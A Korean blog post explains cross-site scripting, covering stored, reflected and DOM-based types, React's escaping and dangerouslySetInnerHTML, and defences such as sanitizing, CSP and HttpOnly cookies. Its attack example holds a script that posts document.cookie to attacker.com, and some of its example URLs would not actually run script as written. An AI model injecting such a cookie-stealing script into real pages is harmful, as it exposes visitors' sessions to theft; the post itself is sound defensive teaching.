본문 바로가기
보안

XSS(Cross-Site Scripting)란?

by 들판에 날라다니는 솜 2026. 7. 1.

웹 서비스를 이용하다 보면 게시글이나 댓글을 작성하는 기능이 있다.

예를 들어 게시판에 글을 작성한다고 가정해 보자.

일반적인 사용자는 다음과 같이 글을 작성한다.

안녕하세요.
오늘 날씨가 정말 좋네요.

하지만 악의적인 사용자는 글 대신 다음과 같은 JavaScript 코드를 입력할 수도 있다.

<script>
  alert("XSS 공격");
</script>

만약 서버가 이 내용을 아무런 검증 없이 그대로 저장하고, 다른 사용자가 게시글을 열었을 때 HTML 그대로 화면에 출력한다면 어떻게 될까?

브라우저는 <script> 태그를 HTML의 일부로 인식하고 그 안의 JavaScript를 실행한다.

결과적으로 해당 게시글을 방문한 모든 사용자의 브라우저에서 다음 코드가 실행된다.

alert("XSS 공격");

예제에서는 단순히 알림창만 띄웠지만, 실제 공격에서는 다음과 같은 악성 코드가 실행될 수도 있다.

  • 로그인한 사용자의 정보 탈취
  • 악성 사이트로 강제 이동
  • 피싱 페이지 삽입
  • 사용자를 대신한 요청 전송
  • 웹사이트 화면 변조

이처럼 공격자가 입력한 스크립트가 다른 사용자의 브라우저에서 실행되는 공격을 XSS(Cross-Site Scripting) 라고 한다.


왜 XSS가 발생할까?

브라우저는 HTML을 해석하면서 <script> 태그를 만나면 JavaScript를 실행한다.

예를 들어 게시글을 출력하는 코드가 다음과 같다고 가정해 보자.

<div id="content">
  사용자 입력
</div>

사용자가 다음과 같이 입력했다면

안녕하세요.
<script>
  alert("XSS");
</script>

브라우저는 이를 단순한 문자열이 아니라 HTML 문서의 일부로 해석한다.

결과적으로 화면에는

<div id="content">
  안녕하세요.

  <script>
    alert("XSS");
  </script>
</div>

가 만들어지고, <script>가 실행된다.

즉, 사용자의 입력을 신뢰하고 그대로 HTML에 삽입했기 때문에 XSS가 발생하는 것이다.


XSS 공격 예시

예를 들어 게시판 서비스가 있다고 가정해 보자.

공격자는 게시글에 다음과 같은 내용을 작성한다.

<script>
fetch("https://attacker.com", {
  method: "POST",
  body: document.cookie
});
</script>

다른 사용자가 해당 게시글을 열면 브라우저는 이 스크립트를 실행하게 된다.

공격자는 사용자의 쿠키나 민감한 정보를 자신의 서버로 전송할 수도 있다.

실제 서비스에서는 브라우저 보안 정책과 HttpOnly 설정 등으로 모든 쿠키를 가져올 수 있는 것은 아니지만, XSS를 이용하면 다양한 방식으로 사용자 정보를 탈취하거나 악성 동작을 수행할 수 있으므로 매우 위험한 공격으로 분류된다.


XSS의 종류

XSS는 크게 세 가지로 나뉜다.

1. Stored XSS

가장 위험한 형태의 XSS이다.

공격자가 입력한 악성 스크립트가 서버나 데이터베이스에 저장된다.

예를 들어 게시글이나 댓글에 스크립트를 작성하면 데이터베이스에도 그대로 저장된다.

<script>
alert("XSS")
</script>

이후 다른 사용자가 해당 페이지를 방문할 때마다 스크립트가 실행된다.

게시판, 댓글, 리뷰, 프로필 소개 등 사용자 입력을 저장하는 기능에서 자주 발생한다.


2. Reflected XSS

악성 스크립트가 서버에 저장되지는 않는다.

사용자가 전달한 값을 서버가 그대로 응답에 포함시킬 때 발생한다.

예를 들어 검색 기능이 다음과 같다고 가정해 보자.

https://example.com/search?q=React

검색 결과 페이지에서 q 값을 그대로 출력한다면

https://example.com/search?q=alert('XSS')

와 같은 URL을 만들어 피해자에게 전달할 수 있다.

피해자가 해당 링크를 클릭하면 스크립트가 실행된다.


3. DOM Based XSS

서버와는 관계없이 브라우저에서 발생하는 XSS이다.

예를 들어 JavaScript가 URL 값을 읽어서 그대로 HTML에 넣는 경우이다.

const keyword = location.search;
document.getElementById("result").innerHTML = keyword;

URL이 다음과 같다면

https://example.com/?q=alert('XSS')

브라우저가 innerHTML에 그대로 삽입하면서 스크립트가 실행된다.

최근에는 SPA(React, Vue 등)에서도 잘못된 DOM 조작으로 인해 발생할 수 있다.


React에서는 XSS가 발생하지 않을까?

많은 사람들이 React에서는 XSS가 발생하지 않는다고 생각하지만, 이는 정확하지 않다.

React는 JSX에서 문자열을 출력할 때 자동으로 HTML을 이스케이프(Escape)하기 때문에 기본적으로 XSS에 강하다.

예를 들어

const text = "<script>alert('XSS')</script>";

return <div>{text}</div>;

실제 화면에는

<script>alert('XSS')</script>

가 문자열 그대로 출력된다.

브라우저는 이를 HTML이 아니라 텍스트로 처리하므로 스크립트가 실행되지 않는다.

즉, React는 기본적으로 사용자 입력을 안전하게 처리하도록 설계되어 있다.


React에서도 XSS가 발생하는 경우

React에서도 HTML을 직접 렌더링하면 XSS가 발생할 수 있다.

대표적인 것이 dangerouslySetInnerHTML이다.

<div
  dangerouslySetInnerHTML={{
    __html: userInput,
  }}
/>

만약 userInput에

<script>
alert("XSS")
</script>

가 포함되어 있다면 브라우저는 이를 HTML로 해석하여 실행할 수 있다.

그래서 이름도 dangerouslySetInnerHTML이다.

정말 필요한 경우가 아니라면 사용하지 않는 것이 좋으며, 사용해야 한다면 반드시 HTML을 정제(Sanitize)한 후 렌더링해야 한다.

실무에서는 DOMPurify와 같은 라이브러리를 사용해 악성 스크립트를 제거한 뒤 출력하는 경우가 많다.


XSS를 방지하는 방법

1. 사용자 입력을 그대로 HTML로 출력하지 않는다.

가장 중요한 원칙이다.

가능하면 문자열로 출력하도록 구현한다.

2. HTML을 정제(Sanitize)한다.

HTML을 출력해야 한다면 위험한 태그와 속성을 제거해야 한다.

예를 들어

<script>

또는

onclick=""

같은 요소를 제거한 후 출력한다.

3. innerHTML 사용을 최소화한다.

다음과 같은 코드는 피하는 것이 좋다.

element.innerHTML = userInput;

가능하면

element.textContent = userInput;

처럼 텍스트로 출력하는 것이 안전하다.

4. Content Security Policy(CSP)를 적용한다.

CSP(Content Security Policy)는 브라우저가 어떤 스크립트를 실행할 수 있는지 제한하는 보안 정책이다.

설령 XSS가 발생하더라도 외부 스크립트 실행을 제한하여 피해를 줄일 수 있다.

CSP는 XSS를 완전히 막는 기능은 아니지만, 피해를 크게 줄여주는 중요한 보안 수단이다.

5. HttpOnly 쿠키를 사용한다.

인증 정보를 쿠키에 저장한다면 HttpOnly 옵션을 사용하는 것이 좋다.

이 옵션을 사용하면 JavaScript에서 쿠키에 접근할 수 없으므로 XSS로 인해 인증 쿠키가 탈취될 위험을 줄일 수 있다.

다만 HttpOnly는 쿠키 접근만 막아줄 뿐 XSS 자체를 막아주는 것은 아니다.


실무에서 알아두면 좋은 점

  • React는 기본적으로 문자열을 이스케이프하므로 일반적인 JSX에서는 XSS에 강하다.
  • dangerouslySetInnerHTML을 사용할 때는 반드시 입력값을 정제해야 한다.
  • innerHTML을 사용하는 코드는 항상 XSS 가능성을 의심해야 한다.
  • 사용자 입력은 서버와 클라이언트 모두에서 검증하는 것이 좋다.
  • CSP와 HttpOnly는 XSS 피해를 줄이는 데 도움이 되지만, XSS 자체를 완전히 방지하는 것은 아니다.

핵심 정리

  • XSS(Cross-Site Scripting)는 악성 JavaScript가 다른 사용자의 브라우저에서 실행되도록 만드는 공격이다.
  • XSS는 사용자 입력을 검증하거나 이스케이프하지 않고 HTML에 그대로 출력할 때 발생한다.
  • 대표적인 유형은 Stored XSS, Reflected XSS, DOM Based XSS가*있다.
  • React는 JSX를 자동으로 이스케이프하므로 기본적으로 XSS에 강하지만, dangerouslySetInnerHTML을 사용할 경우에는 XSS가 발생할 수 있다.
  • XSS를 방지하려면 사용자 입력을 그대로 HTML에 삽입하지 말고, 필요한 경우 HTML을 정제(Sanitize)한 후 출력해야 한다.
  • Content Security Policy(CSP)와 HttpOnly 쿠키는 XSS로 인한 피해를 줄이는 데 도움이 되는 보안 수단이다.

'보안' 카테고리의 다른 글

CSRF(Cross-Site Request Forgery)란?  (0) 2026.07.02
웹 보안 기초 - CORS 쉽게 이해하기  (0) 2026.07.01